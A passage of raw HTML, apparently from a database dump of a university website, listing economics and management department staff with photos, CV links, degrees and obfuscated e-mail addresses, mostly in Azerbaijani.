href=\"http://www.khazar.org/files/pdf/CV-Europass-20160317-Guliev-EN%20(1)%20(2).pdf\"><img src=\"http://www.khazar.org/files/eco_depart/PICT1232.JPG\" style=\"border:0px  #0000ee;width:150px;height:223px;margin:7px;float:left\"></a></strong><a href=\"http://www.khazar.org/files/eco_depart/CV_RovshanGuliev.pdf\"><strong>Prof.&nbsp;Rövşən Quliyev</strong></a>&nbsp;</p><p style=\"font-size:medium\">İqtisad elmləri üzrə elmlər doktoru, Moskva Agrar problemlər və İnformatika İnstitutu  <br></p><p style=\"font-size:medium\">Magistr,&nbsp;Bakı Dövlət Universiteti, Azərbaycan  </p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/rashad1.jpg\" style=\"border:0px  #000000;width:150px;height:178px;margin:7px;float:left\"><p style=\"font-size:medium\"><strong><a href=\"http://www.khazar.org/files/demo/CV_Huseynov_Rashad_updated_for%20khazar.pdf\">Dr.&nbsp;Rəşad Hüseynov</a></strong></p><p style=\"font-size:medium\">Magistr,&nbsp;Bon Universiteti, Almaniya</p><p style=\"font-size:medium\">E-mail:&nbsp;<a href=\"mailto:r.huseynov[at]khazar.org\">r.huseynov[at]khazar.org</a>&nbsp;</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<p style=\"font-size:medium\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Cv_Shahriyar_Aliyev.pdf\"><img src=\"/files/eco_depart/photo_Shahriyar_Aliyev.jpg\" style=\"border:7px;width:150px;height:230px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/eco_depart/Cv_Shahriyar_Aliyev.pdf\">Şəhriyar Əliyev</a></strong></p><p style=\"font-size:medium\">Magistr,&nbsp;Philipps Universiteti,&nbsp;Marburg, Almaniya</p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<p style=\"font-size:medium\"><img src=\"http://www.khazar.org/files/demo/15_04_08_LamanGayidova.jpg\" style=\"border:0px  #000000;width:150px;height:197px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/LamanGayidovaCV2014.pdf\">Ləman Qayıdova</a></strong></p><p style=\"font-size:medium\">Magistr,&nbsp;EDHEC Biznes Məktəbi, Fransa&nbsp;</p><p style=\"font-size:medium\">Email:&nbsp;<a href=\"mailto:laman.gayidova[at]khazar.org\">laman.gayidova[at]khazar.org</a></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p><p style=\"font-size:medium\"><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_03_ziyaalili.jpg\" style=\"border:0px  #000000;width:150px;height:157px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/ZiyaAliliCV%20(1).pdf\">Ziya Əlili</a></strong></p><p>Magistr,&nbsp;Wales Universiteti, Böyük Britaniya</p><p>E-mail:&nbsp;<a href=\"mailto:mnouriev@khazar.org\">ziya.alili[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/demo/15_05_22_Orxan_Foto.jpg\" style=\"border:0px  #000000;width:150px;height:214px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Orkhan_Karimov_CV.pdf\">Orxan Kərimov</a>&nbsp;</strong></p><p><strong></strong>Magistr,&nbsp;Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan</p><p>E-mail:&nbsp;<a href=\"mailto:orkhan.karimov[at]khazar.org\">orkhan.karimov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/demo/kh.jpg\" style=\"border:0px #000000;width:150px;height:150px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CV%20Khumar%20Huseynova_Yanvar_08%20(1).pdf\">Xumar Hüseynova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CV%20Khumar%20Huseynova_Yanvar_08%20(1).pdf\"></a></strong>Magistr,&nbsp;Xəzər Universiteti, Azərbaycan</p><p>E-mail:&nbsp;<a href=\"mailto:khumar.huseynova[at]khazar.org\">khumar.huseynova[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_23_pic.jpg\" style=\"border:0px  #000000;width:150px;height:217px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/Tarlan_Isgandarov_CV%20(1).pdf\">Tərlan İsgəndərov</a></strong></p><p>Magistr,&nbsp;Southampton Universiteti, Böyük Britaniya</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:tarlan.isgandarov@khazar.org\">tarlan.isgandarov[at]khazar.org</a>  <a href=\"mailto:tarlan.isgandarov[at]khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/demo/15_05_05_FIDAN.jpg\" style=\"border:0px #000000;width:150px;height:189px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/demo/CVFidanHajiyeva%20(3).docx.pdf\">Fidan Hacıyeva</a></strong></p><p>Magistr,&nbsp;Beynəlxalq İqtisadiyyat Məktəbi, Tbilisi Dövlət Universiteti (ISET), Gürcüstan</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:fidanhajiyeva@khazar.org\">fidanhajiyeva[at]khazar.org</a>  <a href=\"http://mailto:fidanhajiyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_05_04_s.ganbarli.jpg\" style=\"border:0px  #000000;width:150px;height:192px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/CV.%20Shaig%20Ganbarli%20(1).pdf\">Şaiq&nbsp;Qənbərli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CV.%20Shaig%20Ganbarli%20(1).pdf\"></a></strong>Magistr,&nbsp;Beynəlxalq İqtisadiyyat Məktəbi, Tbilisi Dövlət Universiteti (ISET), Gürcüstan</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_20_Javidan.Feyziyev.jpg\" style=\"border:0px  #000000;width:150px;height:153px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/Javidan_Feyziyev%20CV.pdf\">Cavidan Feyziyev</a></strong></p><p>Magistr,&nbsp;Azərbaycan Dövlət Neft Akademiyası, Azərbaycan&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:javidan.feyziyev[at]khazar.org\">javidan.feyziyev[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_05_05_IMG_20150420_131221.jpg\" style=\"border:0px  #000000;width:150px;height:194px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/TuranGarayevaCV.pdf\">Turan Qarayeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/TuranGarayevaCV.pdf\"></a></strong>Magistr,&nbsp;London Biznes və Maliyyə Məktəbi, Böyük Britaniya</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnouriev@khazar.org\">turan.garayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_27_2014-09-22_21.46.49.jpg\" style=\"border:0px  #000000;width:150px;height:178px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/RasulHajiyevCV2014%20(3).pdf\">Rəsul Hacıyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/RasulHajiyevCV2014%20(3).pdf\"></a></strong>Magistr,&nbsp;Audencia &nbsp;Nantes Menecment Məktəbi, Fransa&nbsp;&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rasul.hajiyev[at]khazar.org\">rasul.hajiyev[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_06_02_kamilheyderov.jpg\" style=\"border:0px  #000000;width:150px;height:180px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/CVKamil2014.pdf\">Kamil Heydərov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CVKamil2014.pdf\"></a></strong>Magistr,&nbsp;The Edinburgh Universiteti, Böyük Britaniya</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:kamil.heydarov[at]khazar.org\">kamil.heydarov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_05_05_niyaziabbasov.jpg\" style=\"border:0px  #000000;width:150px;height:202px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/NiyaziAbbasovresume2015.pdf\">Niyazi Abbasov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/NiyaziAbbasovresume2015.pdf\"></a></strong>Magistr,&nbsp;Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:niyazi.abbasov[at]khazar.org\">niyazi.abbasov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_20_FuadAliyev11.jpg\" style=\"border:0px  #000000;width:150px;height:211px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/FuadAliyev.pdf\">Fuad Əliyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/FuadBINTERCVtrainer(1)%20(2).docx\"></a></strong>İqtisad elmləri üzrə fəlsəfə doktoru, Azərbaycan Dövlət İqtisad Universiteti, Azərbaycan</p><p>Magistr,&nbsp;Azərbaycan Respublikasının Prezidenti yanında Dövlət İdarəçilik Akademiyası, Azərbaycan</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fuad.aliyev.B@khazar.org\">fuad.aliyev.B[at]khazar.org</a>  <a href=\"mailto:fuad.aliyev.B[at]khazar.org\"></a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/njkln.jpg\" style=\"border:0px  #000000;width:150px;height:166px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/NijatGarayevCV2014.pdf\">Nicat Qarayev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/NijatGarayevCV2014.pdf\"></a></strong>Magistr,&nbsp;Manchester Universiteti, Böyük Britaniya</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:nijat.garayev[at]khazar.org\">nijat.garayev[at]khazar.org<br></a></p><p><a href=\"mailto:nijat.garayev[at]khazar.org\"><br></a></p><p><a href=\"mailto:nijat.garayev[at]khazar.org\"><br></a></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_22_DSC_9917.jpg\" style=\"border:0px  #000000;width:150px;height:223px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/fuad%20aliyev%20ib.pdf\">Fuad Aliyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/fuad%20aliyev%20ib.pdf\"></a></strong>Magistr,&nbsp;Georgetown &nbsp;Universiteti, Birləşmiş Ştatlar</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:fuad.aliyev.F[at]khazar.org\">fuad.aliyev.F[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/zhala.jpg\" style=\"border:0px  #000000;width:150px;height:211px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-Mammadova-EN.pdf\">Zhala Məmmədova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-Mammadova-EN.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-Mammadova-EN.pdf\"></a></strong>Magistr,&nbsp;Newcastle Universiteti, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/AAEAAQAAAAAAAAN-AAAAJGVlN2MyZTQ4LWI5MzctNGMyYi05NjZmLTE1YzcwOTI1ZDhiMg.jpg\" style=\"border:0px  #000000;width:150px;height:223px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_Erkin_Nasirov_2017.pdf\">Erkin Nəsirov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_Erkin_Nasirov_2017.pdf\"></a></strong>Magistr,&nbsp;Chartered Menecment İnstitutu, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/abdullalikhanov.jpg\" style=\"border:0px  #000000;width:150px;height:189px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV.Abdulla_Alikhanov.KH.pdf\">Abdulla Əlixanov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV.Abdulla_Alikhanov.KH.pdf\"></a></strong>Magistr,&nbsp;Lund Universiteti, İsveçrə</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/16_03_18_vm1.jpg\" style=\"border:0px  #000000;width:150px;height:211px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Vüsal Məmmədrzayev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\"></a></strong>Magistr,&nbsp;Tübingen Eberhard-Karls Universiteti, Almaniya</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/elvin1.jpg\" style=\"border:0px  #000000;width:150px;height:172px;margin:7px;float:left\"><p><strong><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\">Elvin Mirzəyev</a></strong></strong></p><p><strong><strong><a href=\"http://www.khazar.org/files/demo/vusalmemmedrzayev.pdf\"></a></strong></strong>Magistr,&nbsp;Nurtingen Tətbiqi Elmlər Universiteti, Almaniya</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_30_fariz_idea_banki.jpg\" style=\"border:0px  #000000;width:150px;height:176px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/CVFarizTJafarov2014.pdf\">Fariz Cəfərov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CVFarizTJafarov2014.pdf\"></a></strong>Magistr,&nbsp;George Washington Universiteti, Birləşmiş Ştatlar</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/photo1.jpg\" style=\"border:0px  #000000;width:150px;height:166px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/CVEuropeanPassMirIsmayiSeyidov.pdf\">Mirismayıl Seyidov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CVEuropeanPassMirIsmayiSeyidov.pdf\"></a></strong>Magistr,&nbsp;Leicester Universiteti, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/Samir%20(1).jpg\" style=\"border:0px  #000000;width:150px;height:200px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/2016%20Samir%20Khalilov%20CV%20eng%20(1).pdf\">Samir Xəlilov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/2016%20Samir%20Khalilov%20CV%20eng%20(1).pdf\"></a></strong>Magistr,&nbsp;Qərb Universiteti, Azərbaycan</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/lalaganiyeva1.jpg\" style=\"border:0px  #000000;width:150px;height:200px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/CVGaniyeva2014.pdf\">Lalə&nbsp;Qəniyeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/demo/CVGaniyeva2014.pdf\"></a></strong>Humanitar elmlər üzrə fəlsəfə doktoru,&nbsp;&nbsp;Missouri-Columbia Universiteti, ABŞ</p><p>Magistr,&nbsp;Miçiqan Dövlət Universiteti, Birləşmiş Ştatlar</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/nilufar_masimova.jpg\" style=\"border:0px #000000;width:150px;height:174px;margin:7px;float:left\"><strong></strong><p><strong><a href=\"http://www.khazar.org/files/pdf/cv.nilufar.masimova%20.PDF\">Nilufər Məsimova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/cv.nilufar.masimova%20.PDF\"></a></strong><strong></strong>Magistr,&nbsp;East Anglia Universiteti, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/image/firdovsi_agasirinov.jpg\" style=\"border:0px  #000000;width:150px;height:192px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-20170925-Aghashirinov-EN.pdf\">Firdovsi Ağaşirinov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Europass-20170925-Aghashirinov-EN.pdf\"></a></strong>Magistr,&nbsp;Bakı Dövlət Universiteti, Azərbaycan</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/Photo.jpg\" style=\"border:0px #000000;width:150px;height:157px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20-%20Elmir%20Huseynov.pdf\">Elmir Hüseynov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20-%20Elmir%20Huseynov.pdf\"></a></strong>Magistr,&nbsp;Bristol Universiteti, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/Sevinj%20S..jpg\" style=\"border:0px  #000000;width:150px;height:150px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/Sevinj_S_Resume.pdf\">Sevinc&nbsp;Sultanova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/Sevinj_S_Resume.pdf\"></a></strong>Magistr,&nbsp;Leeds Universiteti, Böyük Britaniya</p><p><br></p><p><br></p><p>&nbsp;&nbsp;</p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/nazakatazimli.jpg\" style=\"border:0px  #000000;width:150px;height:142px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/NazakatAzimli.pdf\">Nəzakət Əzimli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/NazakatAzimli.pdf\"></a></strong>Magistr,&nbsp;Kings College, Böyük Britaniya</p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/aytan.jpg\" style=\"border:0px  #000000;width:150px;height:180px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/Aytan%20Akhundova.pdf\">Aytən Axundova</a></strong></p><p>Magistr,&nbsp;Illinois Universiteti, Birləşmiş Ştatlar</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/Gahraman_Yusupov_photo.jpg\" style=\"border:7px;margin:7px;width:150px;height:156px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Aytan%20Akhundova.pdf\">Qəhrəman Yusupov</a></strong></p><p>Magistr, Xalq təsərrüfatının iqtisadiyyatı və planlaşdırılması,&nbsp;Azərbaycan İqtisad Universiteti, Bakı, Azərbaycan</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/NijatGuliyev_photo.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:178px\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20N.Guliyev_Az_Prof.pdf\">Nicat Quliyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV%20N.Guliyev_Az_Prof.pdf\"></a></strong>Magistr, Iqtisadiyyat, Tbilisi Dövlət Universiteti, Gürcüstan</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/demo/15_04_10_NijatRasulov.jpg\" style=\"border:70px #000000;margin:7px;width:150px;height:170px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/demo/NijatRasulovCV.pdf\">Nicat Rəsulov</a></strong></p><p>Magistr,&nbsp;Leicester Universiteti, Leicester, Böyük Britaniya&nbsp;</p><p>E-mail:&nbsp;<a href=\"mailto:nijat.rasulov[at]khazar.org\">nijat.rasulov[at]khazar.org</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/elnur_ramazanov_photo.jpg\" style=\"border:7px;float:left;width:150px;height:182px;margin:7px\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/Ramazanov_Elnur_%202017_CV.pdf\">Elnur Ramazanov</a></strong></p><p>Magistr,&nbsp;James Cook Universiteti, Leicester, Avstraliya</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/Qas%C4%B1mov_Tural_photo.jpg\" style=\"border:7px;width:150px;height:194px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/CV_Eng_updated.pdf\">Tural Qasımov</a></strong></p><p>Magistr, Maliyyə, Frankfurt School of Finance and Management, Almaniya</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/shafa_alasgarova%20photo.jpg\" style=\"border:7px;margin:7px;width:150px;height:170px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Shafa_Alesgerova-cv-Khazar.pdf\">Dr.&nbsp;Şəfa Ələsgərova</a></strong></p><p>İqtisad elmləri üzrə fəlsəfə doktoru, Manchester Universiteti, Böyük Britaniya (namizəd)</p><p>Magistr,&nbsp;Manchester Universiteti,&nbsp;Manchester Universiteti, Böyük Britaniya</p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/eco_depart/elnur-%D0%BA%D0%BE%D0%BF%D0%B8%D1%8F-300x300.jpg\" style=\"border:7px;width:150px;height:150px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/ElnurEyvazovCV.pdf\">Elnur Eyvazov</a></strong></p><p>Magistr, Hüquq,&nbsp;Oxford Universiteti,&nbsp;Böyük Britaniya</p><p>Magistr,&nbsp;Hüquq, Cambridge,&nbsp;Böyük Britaniya&nbsp;</p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/araz_fataliyev.jpg\" style=\"width:150px;height:171px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Araz%20Fataliyev_CV_upd.pdf\">Araz Fətəliyev</a></strong></p><p style=\"background:undefined \">Instructor of Fundamentals of Financial Management<br></p><p>M.Sc. in Accounting, Finance and Management, University of Bristol, Bristol</p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong>\r\n<img src=\"/files/eco_depart/elnur_huseynov.jpg\" style=\"width:150px;height:129px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Elnur_Huseynov_CV.pdf\">Elnur Hüseynov</a></strong></p><p style=\"background:undefined \">Instructor of International Management&nbsp;<br></p><p>Master of Arts in Diplomacy and International Affairs, ADA university, Azerbaijan</p>  <p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/elvin_alizade.jpg\" style=\"width:150px;height:239px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Elvin_Alizada_CV.pdf\">Elvin Əlizadə</a></strong></p><p style=\"background:undefined \">Instructor of Fundamentals of Financial Management&nbsp;</p><p>M.Sc. in Management and Finance, University of Chester, England</p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"http://www.khazar.org/files/eco_depart/javid_suleymanov.jpg\" style=\"width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Cavid_S_CV.pdf\">Cavid Süleymanov</a>  <br></strong></p><p style=\"background:undefined \">Instructor of Principles of Taxation<strong>&nbsp;</strong>&nbsp;<br></p><p>Master of Business Administration,&nbsp;University of West Scotland, London, United Kingdom</p>  <p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/jeyhun_g_mammadov.jpg\" style=\"width:150px;height:225px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Jeyhun_Mammadov_(BP).pdf\">Ceyhun Məmmədov</a>  <br></strong></p><p style=\"background:undefined \">Instructor of Taxation&nbsp;<strong>&nbsp;</strong><br></p><p>Master of Business Administration,&nbsp;Warwick Business School, UK</p>  <p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"http://www.khazar.org/files/eco_depart/jeyhun_huseynzade.jpg\" style=\"width:150px;height:210px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Jeyhun_Huseynzada_CV.pdf\">Ceyhun Hüseynzadə</a><br></strong></p><p style=\"background:undefined \">Instructor of Principles of Taxation&nbsp;</p><p>Master of Business Administration,&nbsp;Columbia University of New York</p>  <p><br></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/eco_depart/rufat_mammadov.jpg\" style=\"width:150px;height:193px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/eco_depart/Rufat_Mammadov_CV.pdf\">Rüfət Məmmədov</a></strong></p><p style=\"background:undefined \">Instructor of Principles of Marketing</p><p>Ph.D.&nbsp;continues from 2012&nbsp;<br></p><p>Master Degree in Tourism and Management, Dokuz Eylul University, Izmir (Turkey)</p>  <p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eco_depart/kamran_behbudov.jpg\" style=\"width:150px;height:210px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/Kamran_Behbudov_CV.pdf\">Kamran Behbudov</a></strong></p><p style=\"background:undefined \">Instructor of Tourism Transportation Systems&nbsp;<strong>&nbsp;</strong><br></p><p>Ph.D.&nbsp;in Law,&nbsp;&nbsp;ANAS,&nbsp;Insititute of Philosophy and Law</p>  <p><br></p><p><br></p><br>\r\n<strong>&nbsp;</strong>'),(366,228,'en','Contact us','Contact us','<p style=\"font-family:\'times new roman\', times, serif\"><strong><br></strong></p><img src=\"http://www.khazar.org/files/eco_depart/14_11_01_Jeyhun-Mammadov.jpg\" style=\"font-family:\'times new roman\', times, serif;border:7px;width:150px;height:163px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/JMammadov_CV.pdf\">Dr. Jeyhun Mammadov</a></strong></p><p>Head of Department Economics and Management</p><p>E-mail:&nbsp;<a href=\"mailto:Jmammadov[at]khazar.org\">Jmammadov[at]khazar.org</a></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/eco_depart/photo_Elvin_Mammadov.jpg\" style=\"border:7px;margin:7px;float:left;width:150px;height:200px\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/CV-Elvin%20Mammadov.pdf\">Dr.&nbsp;Elvin Mammadov</a></strong></p><p><strong style=\"font-family:\'Times New Roman\'\"><a href=\"http://www.khazar.org/files/eco_depart/CV-Elvin%20Mammadov.pdf\" style=\"font-family:\'times new roman\', times, serif;color:#000000\"></a></strong>Coordinator&nbsp;in Economics and Management Department</p><p>E-mail:&nbsp;<a href=\"mailto:elmammadov[at]khazar.org\">elmammadov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"font-family:\'times new roman\', times, serif\"><img src=\"/files/eco_depart/1.jpg\" style=\"border:7px;width:150px;height:205px;margin:7px;float:left\"></p><p><strong><a href=\"http://www.khazar.org/files/eco_depart/AhmetBahadirBaysalCV.pdf\">Bahadir Baysal</a></strong></p><p>Coordinator in Department of Economics and 